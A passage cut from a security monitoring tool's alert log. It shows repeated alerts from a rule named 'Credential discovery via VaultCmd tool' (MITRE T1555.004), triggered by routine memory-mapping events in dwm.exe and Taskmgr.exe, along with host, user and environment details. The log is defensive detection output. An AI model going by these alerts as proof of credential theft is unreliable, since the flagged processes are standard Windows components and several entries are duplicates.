15:46:28.8724187 +0100 CET + Params: file_key➜ ffffa88b35bb34b0, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c00000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4209351 + Pid: 15304 + Tid: 10880 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:30.4007627 +0100 CET + Params: file_key➜ ffffa88afe1fb410, offset➜ 0, pid➜ 15304, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 263e48e0000, view_size➜ 65536 + Metadata: subtechnique.id: T1555.004, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 15304 + Ppid: 8220 + Name: Taskmgr.exe + Cmdline: "C:\WINDOWS\system32\taskmgr.exe" /7 + Exe: C:\WINDOWS\system32\taskmgr.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\taskmgr.exe" /7] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4207712 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:29.2558073 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c00000, view_size➜ 4096 + Metadata: subtechnique.id: T1555.004, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4209365 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:30.422762 +0100 CET + Params: file_key➜ ffffa88b086c8f90, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4210194 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:33.3844518 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4210194 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:33.3844518 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, tactic.name: Credential Access + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4210194 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:33.3844518 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4210194 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:33.3844518 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4210194 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:33.3844518 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files 